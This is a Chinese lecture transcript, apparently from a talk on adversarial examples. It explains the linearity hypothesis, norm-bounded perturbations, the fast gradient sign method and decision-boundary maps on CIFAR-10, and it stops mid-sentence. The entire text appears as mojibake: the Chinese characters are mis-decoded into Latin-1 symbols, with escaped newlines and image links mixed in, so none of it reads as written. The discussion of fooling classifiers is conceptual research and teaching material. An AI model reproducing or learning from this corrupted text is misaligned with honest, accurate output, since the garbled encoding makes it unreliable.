ๅฐ„ๆ˜ฏ็บฟๆ€ง็š„่€Œไธ”ๅฏ้ข„ๆต‹็š„๏ผŒ่€Œไธ”ๅฎƒ่ฟ˜ๆ˜ฏไธ€ไธชไผ˜ๅŒ–้—ฎ้ข˜๏ผŒ็”จๆฅไผ˜ๅŒ–ๆจกๅž‹่พ“ๅ…ฅ๏ผŒ่ฟ™ๆฏ”็”จๆฅไผ˜ๅŒ–ๅ‚ๆ•ฐ็š„ไผ˜ๅŒ–้—ฎ้ข˜่ฆ็ฎ€ๅ•ๅพ—ๅคšใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/16/5b9dbce15f2b2.png)\n\nๆˆ‘ไปฌๅ›ž้กพไธ‹ๅฎž้™…็š„ๆ“ไฝœ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ็”จไธ€ไธชๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ทŸ่ธชไธ€ไธชไธ€็ปด็š„่พ“ๅ…ฅ็ฉบ้—ดไธญ็š„่ทฏๅพ„ใ€‚ๆˆ‘ไปฌ้€‰ไธ€ไธชๆฒกๆœ‰ๅ™ชๅฃฐ็š„ไพ‹ๅญ๏ผŒ่ฟ™ๆ˜ฏไธ€ๅผ ็™ฝ่‰ฒๆฑฝ่ฝฆๅœจ็บข่‰ฒ่ƒŒๆ™ฏไธŠ็š„ๅ›พ็‰‡๏ผŒ็„ถๅŽๆˆ‘ไปฌ้€‰ๆ‹ฉไธ€ไธชๆ–นๅ‘ๅฐ†็ฉฟ่ถŠ็ฉบ้—ดใ€‚ๆˆ‘ไปฌไผšๆœ‰ไธ€ไธช็ณปๆ•ฐ epsilon ไน˜ไปฅ่ฟ™ไธชๆ–นๅ‘๏ผˆ็š„็‰นๅพๅ‘้‡๏ผ‰ใ€‚ๅฝ“ epsilon ๆ˜ฏ -30 ๆ—ถ๏ผŒๅฐฑๅƒๅ›พ็‰‡ๆœ€ๅทฆ่พน๏ผŒๆˆ‘ไปฌๅ‡ๆŽ‰ไบ†ๆ•ฐๅ€็š„ๅ•ไฝๆ–นๅ‘ๅ‘้‡๏ผŒๅฝ“ epsilon ๆ—ถ 0 ๆ—ถ๏ผŒๅฐฑๅƒๆ˜ฏๅ›พ็‰‡ไธญๅคฎ็š„่ฟ™ไบ›๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐๆ•ฐๆฎ้›†็š„ๅŽŸๅง‹ๅ›พ็‰‡๏ผŒไฝ† epsilon ๆ˜ฏ +30 ๆ—ถ๏ผŒๅฐฑๅƒๅ›พ็‰‡็š„ๆœ€ๅณ็ซฏ๏ผŒไธบๆˆ‘ไปฌๅฏน่พ“ๅ‡บๅŠ ไธŠ่ฟ™ไธชๆ–นๅ‘ใ€‚ๅ›พ่กจ็š„ๅทฆ็ซฏ๏ผŒๆˆ‘ไผšๅฑ•็คบไธ€ไธชๅŠจ็”ป๏ผŒๆˆ‘ไปฌๆŠŠไปŽ epsilon ไปŽ -30 ้€ๆธๅขžๅŠ ๅˆฐ +30ใ€‚ๅฝ“ไฝ ไปŽๅทฆๅพ€ๅณ๏ผŒไปŽไธŠๅพ€ไธ‹็œ‹่ฟ™ไธชๅŠจ็”ป๏ผŒๆˆ‘ไปฌๆœ‰้ป„ๆก†ๆ ‡ๅ‡บๆฅ็š„ๅœฐๆ–น๏ผŒๅฐฑๆ˜ฏ่ฟ™ไธช่พ“ๅ…ฅ่ขซ่ฏ†ๅˆซๆˆๆฑฝ่ฝฆ็š„ๅœฐๆ–น๏ผŒๅœจๅทฆไธŠ่ง’๏ผŒไฝ ๅฏไปฅ็œ‹ๅˆฐๅ‡ ไนŽ้ƒฝๆ˜ฏ่“่‰ฒ็š„๏ผŒๅœจๅณไธ‹่ง’๏ผŒไฝ ๅ‡ ไนŽ้ƒฝ่ฏดไธๆธ…ๆฅšๆ˜ฏไป€ไนˆๆƒ…ๅ†ต๏ผŒๅฅฝๅƒๆœ‰ไธ€็‚น็บขๅ…ฎๅ…ฎ็š„ใ€‚ๆœ€ไธญ้—ด็š„ไธ€ๆŽ’๏ผŒๅœจ้ป„ๆก†ๅŽ้ข๏ผŒไฝ ๅฏไปฅๆธ…ๆฅšๅœฐ็œ‹ๅˆฐๆœ‰ไธ€่พ†่ฝฆๅœจ็บข่‰ฒ็š„่ƒŒๆ™ฏ้‡Œ๏ผŒ่™ฝ็„ถๅ›พ็‰‡ๅœจ่ฟ™ไธชๆŠ•ๅฝฑไปชไธŠ็œ‹่ตทๆฅๅพˆๅฐใ€‚ๆœ‰ๆ„ๆ€็š„ๆ˜ฏ๏ผŒๅฝ“ไฝ ๆŸฅ็œ‹ๆจกๅž‹่พ“ๅ‡บ็š„ๅˆ†็ฑป๏ผŒ่ฟ™ๆ˜ฏไธ€ไธชๆทฑๅบฆๅท็งฏ ReLU ็ฝ‘็ปœ๏ผŒๅ› ไธบๅฎƒ็”จไบ† ReLU ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒๆˆ‘ไปฌ็Ÿฅ้“่พ“ๅ‡บๆ˜ฏไธ€ไธชๅ…ณไบŽๆจกๅž‹่พ“ๅ…ฅ็š„ๅˆ†ๆฎต็บฟๆ€งๅ‡ฝๆ•ฐใ€‚ๅˆถไฝœ่ฟ™ๅผ ๅ›พ่กจ็š„ไธป่ฆ้—ฎ้ข˜ๆ˜ฏ่ฟ™ไธชๅˆ†ๆฎต็บฟๆ€งๅ‡ฝๆ•ฐ็ฉถ็ซŸๆœ‰ๅคšๅฐ‘ๆฎต๏ผŒๅฆ‚ๆžœไฝ ็œ‹ๆŸไธ€ๅ—ไบคๅ‰ๅŒบๅŸŸ๏ผŒไฝ ๅฏ่ƒฝ่ง‰ๅพ—ๆ˜ฏๅ› ไธบๆทฑๅบฆ็ฝ‘็ปœๆƒณ่ฆ็”จๅพˆๅคš็บฟๆ€งๅˆ†ๆฎตๆฅ่กจ็คบๆŸไบ›ๆžๅ…ถๆ‰ญๆ›ฒ็š„ๅคๆ‚็š„ๅ‡ฝๆ•ฐ๏ผŒๅˆๆˆ–่€…ๆˆ‘ไปฌ่€ƒๅฏŸ็š„ๆฏไธชๅ‡ฝๆ•ฐ้ƒฝๆœ‰ๆˆ–ๅคšๆˆ–ๅฐ‘ไธคไธชๅˆ†ๆฎตใ€‚ๅ›พ่กจไธญๆฏไธชๆ›ฒ็บฟไปฃ่กจไบ†ไธๅŒๅˆ†็ฑป็š„ๅˆ†ๅฏนๆ•ฐ๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐ่ฟ™ไธชๅ›พ่กจ็š„ๅฐพ็ซฏ๏ผŒๆœ€ๆœ‰ๅฏ่ƒฝ็š„ๅˆ†็ฑปๆ˜ฏ้’่›™๏ผŒ้’่›™่ฟ™ไธช็ฑปๅˆซ็œ‹่ตทๆฅๅŸบๆœฌไธŠๆ˜ฏไธ€ไธชๅคง V ๅฝข็Šถ็š„ๅ‡ฝๆ•ฐ๏ผŒepsilon ๆ˜ฏ -30 ๆˆ– +30 ๆ—ถ๏ผŒ้’่›™็ฑป็š„ๅˆ†ๆ•ฐ้ƒฝๅพˆ้ซ˜๏ผŒๅฝ“ epsilon ๆ˜ฏ 0 ๆ—ถ๏ผŒ่ฟ™ไธชๅˆ†ๆ•ฐ้™ไฝŽไบ†่ฟ˜ๅ˜ๆˆไบ†่ดŸๆ•ฐใ€‚ๆฑฝ่ฝฆๅˆ†็ฑป๏ผŒ่ฟ™่พนๅ†™็š„ๆ˜ฏ automobile๏ผŒๅฎƒ็š„ๅˆ†ๆ•ฐๆ˜ฏไธญ้—ด้ซ˜๏ผŒ่ฟ™ๆ—ถ่ฝฆไผš่ขซๅ‡†็กฎๅœฐ่ฏ†ๅˆซๅ‡บๆฅใ€‚ไฝ†ๆˆ‘ไปฌๆขๆˆ่ดŸ็š„ epsilon ๆฑฝ่ฝฆ็ฑป็š„ๅˆ†ๅฏนๆ•ฐๆœ‰ๆ‰€ๆๅ‡๏ผŒไฝ†ไธไผšๅƒ้’่›™็ฑป้‚ฃๆ ทๅคงๅน…ๆๅ‡ใ€‚่ฟ™ๆ ท๏ผŒๆˆ‘ไปฌๆ‰พๅˆฐไบ†ไธ€ไธช้’่›™็ฑป็š„ๆ–นๅ‘๏ผŒๆˆ‘ไปฌๆŒ‰็…ง่ฟ™ไธชๆ–นๅ‘ๅšไธ€ไธช่พƒๅคง็š„ๆ‰ฐๅŠจ๏ผŒๆˆ‘ไปฌๅฏไปฅๅ‘็Žฐๆจกๅž‹ๆ˜ฏ็บฟๆ€ง็š„๏ผŒๅผ€ๅง‹ๆ˜ฏไธ€ไธช้žๅธธไธๅˆ็†็š„้ข„ๆต‹ๅ€ผ๏ผŒๅˆ†็ฑป็š„็ป“ๆžœๆœ‰ๅฏ่ƒฝๆ˜ฏ้’่›™็ฑป๏ผŒๅฐฑๅ› ไธบๆˆ‘ไปฌๆฒฟ็€่ฟ™ไธชๆ–นๅ‘่ตฐไบ†ๅพˆ้•ฟไธ€ๆฎตไปฅๅŽ๏ผŒๅˆ†็ฑปไธบ้’่›™็š„ๅฏ่ƒฝๆ€งๅˆๅ˜ๅพ—้žๅธธ้ซ˜ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/16/5b9dc2a61f60f.png)\n\nๅฝ“ๆˆ‘ไปฌ็œŸๆญฃ่ฆๅผ€ๅง‹ๆž„้€ ๅฏนๆŠ—ๆ ทๆœฌ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌ่ฆ่ฎฐๅพ—ๆˆ‘ไปฌๅฏไปฅๅฏนๅ›พ็‰‡ๅšไธ€ไธชๅพˆๅคง็š„ๆ‰ฐๅŠจ๏ผŒไฝ†ๅ›พ็‰‡ๅ˜ๅŒ–ๅพ—ๅนถๆฒกๆœ‰ไบบไปฌๆƒณ่ฑกไธญ้‚ฃไนˆๅคšใ€‚ๆˆ‘่ฟ™้‡Œ็ป™ไฝ ็œ‹ไธ€ไธชๆ‰‹ๅ†™ๆ•ฐๅญ— 3๏ผŒๆˆ‘ๆŽฅไธ‹ๆฅ่ฆ็”จๅ‡ ็งๆ–นๅผๆ”นๅ˜ๅฎƒใ€‚ๆฏ็งๆ”นๅ˜้ƒฝๅฏน L2 ่Œƒๆ•ฐไบง็”Ÿ็›ธๅŒๅคงๅฐ็š„ๆ‰ฐๅŠจใ€‚ๅœจ็ฌฌไธ€่กŒ๏ผŒๆˆ‘่ฆๆŠŠ3ๅ˜ๆˆ7๏ผŒ็›ดๆŽฅๆ‰พๅˆฐ่ฎญ็ปƒ้›†ไธญๆœ€่ฟ‘็š„7๏ผˆๆœ€ๅƒ่ฟ™ไธช3็š„7๏ผ‰ใ€‚่ฟ™ไธค่€…ๅ›พ็‰‡ไธŠ็œ‹่ตทๆฅ็š„ๅทฎๅˆซๅฅฝๅƒๅฐฑๆœ‰ไธ€็‚นๅƒ๏ผŒๆœ‰ไธช้ป‘็บฟ็ผ ๅœจ7้‡Œ้ขใ€‚้‚ฃไนˆไปŽๅทฆ่พนไธ€ๅˆ—ๅ˜ๅŒ–ๅˆฐๅณ่พนไธ€ๅˆ—๏ผŒไธญ้—ดๆ‰ฐๅŠจๅˆ—็š„ๅ›พ็‰‡็š„็™ฝ่‰ฒๅƒ็ด ็‚นไปฃ่กจไบ†่ฆๅขžๅŠ ็š„ไธœ่ฅฟ๏ผŒ้ป‘่‰ฒ็š„ๅƒ็ด ็‚นไปฃ่กจไบ†่ฆๅ‡ๅŽป็š„ไธœ่ฅฟใ€‚ๆˆ‘ไปฌๆœ‰ไบ†่ฟ™ไธช3๏ผŒๅฏนๅฎƒๅšไธ€ไธชๆ‰ฐๅŠจ๏ผŒ่ฎฉๅฎƒๅ˜ๆˆ7ใ€‚ๆˆ‘ไปฌๅฏไปฅ่ฎก็ฎ—ๆ‰ฐๅŠจ็š„ L2 ่Œƒๆ•ฐ๏ผŒ็ป“ๆžœๆ˜ฏ L2 ่Œƒๆ•ฐๆ˜ฏ 3.96ใ€‚่ฟ™ๅฐฑ็›ธๅฝ“ไบŽ่กก้‡ไบ†ๆ‰ฐๅŠจ็š„ๅคงๅฐใ€‚ๅœจไธญ้—ด็š„่ฟ™ไธ€่กŒ๏ผŒๆˆ‘ไปฌ่ฟ˜ๆ˜ฏ่ฟ›่กŒ็›ธๅŒ็จ‹ๅบฆ็š„ๆ‰ฐๅŠจ๏ผŒไฝ†้€‰ๆ‹ฉไธ€ไธช้šๆœบ็š„ๆ–นๅ‘่ฟ›่กŒๆ‰ฐๅŠจใ€‚่ฟ™ๆ˜ฏ๏ผŒๆˆ‘ไปฌๅ…ถๅฎžๆ นๆœฌๆฒกๆœ‰ๅœจๆ”นๅ˜ 3 ่ฟ™ไธชๅˆ†็ฑป๏ผŒ่€Œๆ˜ฏๅขžๅŠ ไธ€ไบ›ไธๅฝฑๅ“ๅˆ†็ฑป็š„้šๆœบๅ™ชๅฃฐใ€‚ไบบไปฌ่ฟ˜ๆ˜ฏๅฏไปฅ่ฝปๆ˜“ๅœฐ่พจๅˆซๅ‡บ้‚ฃๆ˜ฏไธ€ไธช 3ใ€‚ไฝ†ๅœจๆœ€ไธ‹้ขไธ€่กŒ๏ผŒๆˆ‘ไปฌ่ฟ˜ๆ˜ฏๅ–่ฟ™ไธช 3๏ผŒๅนถไธ”ๆŠนๅŽปๅฎƒ็š„ไธ€้ƒจๅˆ†๏ผŒ็›ธๅฝ“ไบŽๅฏน่ฏฅ่Œƒๆ•ฐ็š„ไธ€ไธชๆ‰ฐๅŠจใ€‚่ฟ™ๆ—ถๅ€™๏ผŒๅฎƒไธๅƒๅ…ถไธญไปปไฝ•ไธ€ไธช็ฑป๏ผŒๆ—ขไธๆ˜ฏ 3๏ผŒไนŸไธๆ˜ฏ 7๏ผŒๅชๆ˜ฏไธ€ไธช้”™่ฏฏ็š„่พ“ๅ…ฅใ€‚\n\nๆ‰€ๆœ‰่ฟ™ไบ›ๅ˜ๅŠจ้ƒฝๆ˜ฏๆŸไธช็›ธๅŒ L2 ่Œƒๆ•ฐ็š„ๆ‰ฐๅŠจใ€‚ๅฎž้™…ไธŠๅพˆๅคšๆ—ถๅ€™้€š่ฟ‡ๅฏนๆŠ—ๆ ทๆœฌ๏ผŒไฝ ๅฏไปฅๅšไธ€ไธชๆ›ดๅคง็š„ L2 ่Œƒๆ•ฐ็š„ๆ‰ฐๅŠจใ€‚่ฟ™ๆ ทๅš็š„ๆ•ˆๆžœๆ˜ฏๅ›พ็‰‡ไธญๆœ‰ไธ€ไบ›ๅƒ็ด ๏ผŒๅฎƒไปฌๅพฎๅฐ็š„ๅ˜ๅŒ–ๆœ€็ปˆไผšๅ˜ๆˆไธ€ไธช่พƒๅคง็š„ๅ‘้‡ใ€‚ๅฏนไบŽ ImageNet ่ฟ™ๆ ท็š„ๅคงๅž‹ๆ•ฐๆฎ้›†๏ผŒๆœ‰ๆ›ดๅคš็š„ๅƒ็ด ็‚น๏ผŒไฝ ๅฏไปฅๅฏนๆฏไธชๅƒ็ด ็‚นๅšไธ€ไบ›ๅพˆๅฐ็š„ๆ‰ฐๅŠจใ€‚่ฟ™ๆ ทๅ‘้‡็ฉบ้—ดไธญ็”จ L2 ่Œƒๆ•ฐๅบฆ้‡็š„่ฏไผšๆ”นๅ˜ๅพˆๅคงใ€‚<u>่ฟ™ๆ„ๅ‘ณ็€ไฝ ๅ…ถๅฎžๅฏไปฅๆ”นๅŠจๅพˆๅคšไฝ†ๅˆๅ‡ ไนŽๅฏŸ่ง‰ไธๅ‡บ๏ผŒไฝ†ไบ‹ๅฎžไธŠๅ˜ๅŒ–ๅพˆๅคง๏ผŒๅนถๅพ—ๅˆฐๆจกๅž‹่กจ็คบ็š„็บฟๆ€งๅ‡ฝๆ•ฐ็š„็ณปๆ•ฐๅ†…็งฏใ€‚</u>\n\n---\n\n![image-20180917190955671](assets/image-20180917190955671.png)\n\n่ฟ™ไนŸๆ„ๅ‘ณ็€๏ผŒๅฝ“ๆˆ‘ไปฌๅœจๆž„้€ ๅฏนๆŠ—ๆ ทๆœฌๆ—ถ๏ผŒๆˆ‘ไปฌ้œ€่ฆ็กฎไฟๅฏนๆŠ—ๆ ทๆœฌ็š„่ฟ‡็จ‹ไธไผšๅ˜ๆˆ่ฟ™ไธŠไธ€ไธชๅนป็ฏ็‰‡้กถ็ซฏ็š„่ฟ™ไธชๆ ทๅญใ€‚ๅœจๅนป็ฏ็‰‡ๆœ€ไธŠๆŽ’๏ผŒๆˆ‘ไปฌๆ‹ฟไบ†ไธ€ไธช 3๏ผŒ็„ถๅŽ็œŸ็š„ๆŠŠๅฎƒๅ˜ๆˆไบ† 7๏ผŒ่ฟ™ๆ˜ฏๆจกๅž‹่ฏดๅณไธŠ่ง’ๆ˜ฏไธ€ไธช 7 ็š„ๆ—ถๅ€™๏ผŒๅฎƒๆ˜ฏๅฏน็š„ๅนถๆฒกๆœ‰็Šฏ้”™ใ€‚ๆˆ‘ไปฌๆ˜ฏ็œŸ็š„ๆ”นๅ˜ไบ†่พ“ๅ…ฅ็ฑปๅˆซใ€‚ๅฝ“ๆˆ‘ไปฌๅœจๅปบ็ซ‹ๅฏนๆŠ—ๆ ทไพ‹ๆ—ถ๏ผŒๆˆ‘ไปฌ่ฆไฟ่ฏๆˆ‘ไปฌๅœจ่กก้‡็œŸๅฎž็š„่ฏฏๅทฎ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ็š„ๅฎž้ชŒๆ˜ฏๅœจๆฃ€ๆŸฅ็ฝ‘็ปœๆ˜ฏไธๆ˜ฏๅพˆๅฎนๆ˜“ๅฐฑ่ขซๆฌบ้ช—ๅˆฐ๏ผŒๆˆ‘ไปฌ้œ€่ฆ็กฎไฟๆˆ‘ไปฌ็กฎๅฎžๅœจๆฌบ้ช—็ฝ‘็ปœ๏ผŒ่€Œไธๆ˜ฏๆˆ‘ไปฌ่‡ชๅทฑๆ”นๅ˜ไบ†่พ“ๅ…ฅ็ฑปๅˆซใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๆ˜ฏๆ”ปๅ‡ป่€…๏ผŒๆˆ‘ไปฌ้œ€่ฆ็กฎไฟกๆˆ‘ไปฌ็œŸ็š„ๅฏผ่‡ดไบ†็ณป็ปŸ็š„่ฟ่ง„ๆ“ไฝœใ€‚\n\nไธบไบ†็กฎไฟไปฅไธŠ่ฟ™ไบ›๏ผŒ<u>ๆˆ‘ไปฌๅœจๆž„้€ ๅฏนๆŠ—ๆ ทไพ‹ๆ—ถ๏ผŒ็”จๆœ€ๅคง่Œƒๆ•ฐๆฅ้™ๅˆถๆ‰ฐๅŠจ</u>ใ€‚็ฎ€ๅ•็š„่ฏดๅฐฑๆ˜ฏๆฒกๆœ‰ไธ€ไธชๅƒ็ด ่ƒฝๅคŸๆ”นๅ˜่ถ…่ฟ‡ $\\epsilon$ ็š„ๆ•ฐๅ€๏ผŒ่ฟ™ๆ ท L2 ่Œƒๆ•ฐๅฏไปฅๅพˆๅคง๏ผŒไฝ†ไธ่ƒฝๆŠŠ L2 ่Œƒๆ•ฐ็š„ๆ”นๅ˜่š้›†ๅˆฐไธ€่ตท้‡Œ็”จ๏ผŒๅฐฑๆ˜ฏไธ่ƒฝๆŠนๅŽปๆ•ฐๅญ—ไธญ็š„้ƒจๅˆ†๏ผŒๅฐฑๅƒๆœ€ไธ‹้ขไธ€่กŒ๏ผŒๆˆ‘ไปฌๆŠนๅŽปไบ† 3 ็š„้กถ้ƒจใ€‚ใ€\n\n<u>ไธ€ไธชๅฟซ้€Ÿ็š„ๆž„้€ ๅฏนๆŠ—ๆ ทๆœฌ็š„ๆ–นๆณ•ๆ˜ฏๅˆฉ็”จ่ฎญ็ปƒ็ฝ‘็ปœ็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅ…ณไบŽ่พ“ๅ‡บ็š„ๆขฏๅบฆ</u>๏ผŒ็„ถๅŽๅ–้‚ฃไธชๆขฏๅบฆ็š„็ฌฆๅทใ€‚่ฟ™ไธช็ฌฆๅทๅ…ถๅฎžๆ˜ฏๅŠ ๅผบไบ†ๆœ€ๅคง่Œƒๆ•ฐ็š„้™ๅˆถใ€‚ไฝ ๅชๅ…่ฎธๆฏไธชๅƒ็ด ็‚น่พ“ๅ…ฅๆ”นๅ˜๏ผŒๆ”นๅ˜็š„ๆˆ้ƒฝๆœ€ๅคงไธ่ถ…่ฟ‡ $\\epsilon$๏ผŒ้‚ฃไธช็ฌฆๅทๅฐฑๆ˜ฏ่ฏด๏ผŒไธบไบ†็ ดๅ็ฝ‘็ปœ๏ผŒๅฏไปฅๅŠ ไธŠๆˆ–ๆ˜ฏๅ‡ๅŽป $\\epsilon$ใ€‚ไฝ ๅฏไปฅๆŠŠ่ฟ™ไธช็œ‹ๆˆๆ˜ฏ็ฝ‘็ปœ็š„็บฟๆ€ง็จ‹ๅบฆ๏ผŒๅฐฑๅƒไธŠไธŠไธ€ๅผ ๅนป็ฏ็‰‡ๅฑ•็คบ็š„ใ€‚็”จ่ฟ™ไธช็ฌฆๅท๏ผŒๅปบ็ซ‹็ฅž็ป็ฝ‘็ปœๆŸๅคฑๅ‡ฝๆ•ฐ็š„ไธ€้˜ถ Taylor ่ฟ‘ไผผๅฑ•ๅผ€ใ€‚ๆ นๆฎ Taylor ๅฑ•ๅผ€๏ผŒๆˆ‘ไปฌๆƒณ่ฆๅœจๆœ€ๅคง่Œƒๆ•ฐ้™ๅˆถไธ‹ๆœ€ๅคงๅŒ–ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒๅฐฑๆœ‰้‚ฃไนˆไธ€ไธชๆŠ€ๅทงๅซๅฟซ้€Ÿๆขฏๅบฆ็ฌฆๅทๆ–นๆณ• FGSM๏ผˆthe fast gradient sign method๏ผ‰ใ€‚ๅฆ‚ๆžœไฝ ๆƒณ่ฆไบฒๅŠ›ไบฒไธบๅฟซ้€Ÿ็”ŸๆˆๅฏนๆŠ—ๆ ทๆœฌ๏ผŒๆˆ–่€…ไฝ ๆœ‰ไธ€ไธช็ฎ—ๆณ•๏ผŒไฝ ๆƒณๅœจๅ†…้ƒจ็š„ๅญฆไน ไธญ่ฎญ็ปƒๅฏนๆŠ—ๆ ทๆœฌใ€‚่ฟ™ไธชๆ–นๆณ•ๅฏไปฅๅธฎๅŠฉไฝ ๅพˆๅฟซ็”ŸๆˆๅฏนๆŠ—ๆ ทๆœฌใ€‚ๅฎž้™…ๆ“ไฝœไธญไฝ ไนŸไผš็”จๅˆฐๅ…ถไป–ๆ–นๆณ•๏ผŒๆฏ”ๆ–น่ฏด Nicholas Carlini ๆ”ปๅ‡ป๏ผŒๅฎƒๆ˜ฏๅŸบไบŽ Adam ไผ˜ๅŒ–ๅ™จ็š„ๆŸๅ‡ ๆญฅๆž„้€ ็š„ใ€‚ๅฝ“ไฝ ่ง‰ๅพ—ไฝ ็š„ๆจกๅž‹ๅพˆๅฅๅฃฎๆ—ถ๏ผŒไฝ ๅฐฑ้œ€่ฆไธ€ไธชๅผบๅŠฒ็š„ๆ”ปๅ‡ปใ€‚ๅพˆๅคšๆ—ถๅ€™๏ผŒไบบไปฌๅ‘็Žฐไป–ไปฌๆ‰พๅˆฐไบ†ๅ‡ป่ดฅ FGSM ไบง็”Ÿ็š„ๅฏนๆŠ—ๆ ทๆœฌ็š„ๆ–นๆณ•๏ผŒไป–ไปฌ่ฎคไธบ่ฟ™ๆ ทๅฐฑๆž„้€ ไบ†ไธ€ไธชๆˆๅŠŸ็š„้˜ฒๅพก๏ผŒไฝ†ๅฝ“ไฝ ็”จๆ›ดๅŽ‰ๅฎณ็š„ๆ–นๆณ•็š„ๆ—ถๅ€™๏ผŒไผฐ็ฎ—็š„ๆ—ถ้—ดไนŸไผšๆ›ด้•ฟ๏ผŒไผšไบง็”Ÿๆ— ๆณ•ๅ…‹ๆœ่ฎก็ฎ—ๅคๆ‚ๅบฆๆ›ด้ซ˜็š„ๆ”ปๅ‡ปใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/17/5b9f8f4c7e1b1.png)\n\nๆˆ‘ๅทฒ็ปๅ‘Š่ฏ‰ไฝ ไบ†ๅฏนๆŠ—ๆ ทๆœฌ็š„ไบง็”Ÿๆ˜ฏๅ› ไธบๆจกๅž‹็บฟๆ€ง็จ‹ๅบฆ่ฟ‡้ซ˜๏ผŒๆˆ‘่ฟ˜ๅ‘Š่ฏ‰ไฝ ๆˆ‘ไปฌๅฏไปฅไบง็”Ÿๅˆฉ็”จ่ฟ™็ง็บฟๆ€งๅ‡่ฎพๆฅๆž„้€ ๆ”ปๅ‡ป๏ผŒๅฐฑๆ˜ฏ่ฟ™ไธชๅฟซ้€Ÿๆขฏๅบฆ็ฌฆๅทๆ–นๆณ•ใ€‚ๆˆ‘ไปฌๆŠŠ่ฟ™ไธชๆ–นๆณ•็”จๅˆฐๆ™ฎ้€š็š„ๆฒกๆœ‰ไป€ไนˆ็‰นๆฎŠ้˜ฒๅพก็š„็ฅž็ป็ฝ‘็ปœๆ—ถ๏ผŒๅฐฑไผšๅพ—ๅˆฐ 99% ็š„ๆ”ปๅ‡ปๆˆๅŠŸ็Ž‡ใ€‚่ฟ™ๅฐฑๆ„ๅ‘ณ็€่ฟ™็ง<u>ๅฏนๆŠ—ๆ ทๆœฌ็š„ๆˆๅŠŸๆ˜ฏ็”ฑไบŽๆจกๅž‹็บฟๆ€ง็จ‹ๅบฆ่ฟ‡้ซ˜็š„ๅ‡่ฎพๆ˜ฏๅฏไปฅๆˆ็ซ‹็š„๏ผŒไธๆ˜ฏ็บฟๆ€ง็š„ๅๅ่ฆๆŽจๆ–ญๆ˜ฏ็บฟๆ€ง็š„ๅฐฑไผšไบง็”Ÿ่ฟ™ๆ ท็š„ๅฏนๆŠ—ๆ ทๆœฌ</u>ใ€‚\n\nๆˆ‘ไปฌๅฏไปฅ็ปง็ปญๆทฑๅ…ฅๆฅ็œ‹ไธ€ไบ›ๅ…ถไป–็š„่ฏๆฎใ€‚ๆˆ‘็š„ๆœ‹ๅ‹ David Warde-Farley ๅ’Œๆˆ‘ไธ€่ตทๆž„้€ ไบ†็ฅž็ป็ฝ‘็ปœๅ†ณ็ญ–่พน็•Œ็š„ๆ˜ ๅฐ„ๅ‡ฝๆ•ฐใ€‚ๆˆ‘ไปฌๅ‘็Žฐๅฎƒไปฌๅ’Œ็บฟๆ€งๅ‡่ฎพๆ˜ฏๅ…ผๅฎน็š„ใ€‚ๅฝ“ FGSM ไฝœไธบไธ€็งๆ”ปๅ‡ปๆ–นๆณ•ๆฅๆ”ปๅ‡ปๆ—ถ๏ผŒๅฐฑๅƒไธŠไธ€้กตๅนป็ฏ็‰‡๏ผŒๆˆ‘ไปฌๅˆฉ็”จๆขฏๅบฆ็š„็ฌฆๅทๆฅๆž„ๅปบๆ”ปๅ‡ปใ€‚\n\nๆˆ‘ไปฌๆƒณ่ฆๆž„ๅปบไธ€ไธชไบŒ็ปด่พ“ๅ…ฅ็ฉบ้—ด็š„ไบค็•Œ็š„ๆ˜ ๅฐ„ๆฅๆฅๅฑ•็คบๆฏไธชๆ•ฐๆฎ้›†ไธญ็š„็‚น๏ผŒๅˆฐๅบ•ๅบ”่ฏฅๆ˜ฏๅ“ชไธชๅˆ†็ฑปใ€‚ๅœจๅณ่พน่ฟ™ไบ›ๆ ผ็‚นไธญ๏ผŒๆฏไธชๅ•ๅ…ƒๆ ผๆฏไธชๅฐๆ–นๅ—ๆ˜ฏไธ€ไธช CIFAR-10 ๅˆ†็ฑปๅ™จ็š„ๅ†ณ็ญ–่พน็•Œ็š„ๆ˜ ๅฐ„๏ผŒๆฏไธชๅ•ๅ…ƒๅฏนๅบ”ไบ† CIFAR-10 ไธญไธๅŒ็š„ๆต‹่ฏ•ๆ ทๆœฌใ€‚ๅทฆ่พนๆˆ‘ไผšๅฑ•็คบ็ป™ไฝ ไธ€ไธชๅ›พไพ‹๏ผŒๅฏไปฅๅธฎๅŠฉ็†่งฃๆฏไธชๅ•ๅ…ƒๆ ผ่กจ็Žฐ็š„ๆ˜ฏไป€ไนˆใ€‚ๅ•ๅ…ƒๆ ผๆœ€ไธญ้—ดๅฏนๅบ”็š„ๆ˜ฏ CIFAR-10 ๆ•ฐๆฎ้›†ไธญๆฒกๆœ‰็ป่ฟ‡ไฟฎๆญฃ็š„ๅŽŸๅง‹ๆ ทๆœฌใ€‚ๅฝ“ๆˆ‘ไปฌไปŽๅทฆๅˆฐๅณๆฅ็œ‹ๅ•ๅ…ƒๆ ผ่ฟ™ไธชๆ–นๅ‘๏ผŒไนŸๅฐฑๆ˜ฏๆขฏๅบฆ็š„็ฌฆๅทใ€‚ๅฝ“ๆˆ‘ไปฌๅœจๅ•ๅ…ƒๆ ผ้‡ŒไธŠไธ‹่ฟ™ๆ ทๅšๅ…ถๅฎžๆ˜ฏๅœจๆฒฟ็€ไธ€ไธช้šๆœบ็š„ๅž‚็›ดไบŽๅฟซ้€Ÿๆขฏๅบฆ็ฌฆๅทๆ–นๆณ•็š„้šๆœบๆ–นๅ‘ๅœจๆธธ่ตฐใ€‚้‚ฃไนˆๆˆ‘ไปฌๆฅ็œ‹ไธ€ไธชๅๅญ—่ทฏๅฃ๏ผŒไธ€ไธช CIFAR-10 ๅ†ณ็ญ–็ฉบ้—ด็š„ไบŒ็ปดไบคๅ‰ๅฃใ€‚่ฟ™ไธชๆ˜ ๅฐ„ไธญ็š„ๆฏไธชๅƒ็ด ๏ผŒๆˆ‘ไปฌ็”จไธ€็ง้ขœ่‰ฒๆฅๆ ‡ๆณจๆ˜ฏๅ“ชไธชๅˆ†็ฑป๏ผŒๆ 